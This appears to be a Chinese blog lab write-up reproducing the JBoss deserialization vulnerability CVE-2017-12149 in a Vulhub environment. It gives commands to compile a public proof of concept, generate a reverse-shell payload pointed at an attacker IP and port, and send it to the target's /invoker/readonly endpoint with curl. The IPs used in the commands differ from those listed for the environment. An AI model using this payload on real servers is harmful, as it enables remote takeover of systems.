【Vulhub】CVE-2017-12149 JBOSS反序列化漏洞复现

版权声明:看不尽的尘埃版权所有,转载请注明出处 https://blog.csdn.net/weixin_42936566/article/details/86768217

环境

目标(Kali):http://192.168.0.11:8080/

操作机(Paroot):192.168.0.131

过程

下载POC:https://github.com/joaomatosf/JavaDeserH2HC

POC使用方法:

攻击机下载执行执行生成二进制payload文件:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
  
 #修改接收shell的主机ip和端口

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.135.100:1234 (IP:端口)

curl向被攻击服务器发送攻击payload:
curl http://192.168.135.4:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
扫描二维码关注公众号,回复: 5277696 查看本文章

虽然好像有几个警告,但是还是可以使用的。

操作及开启监听

向目标发送payload

成功反弹shell

参考资料

http://www.mianhuage.com/695.html

猜你喜欢

转载自blog.csdn.net/weixin_42936566/article/details/86768217
今日推荐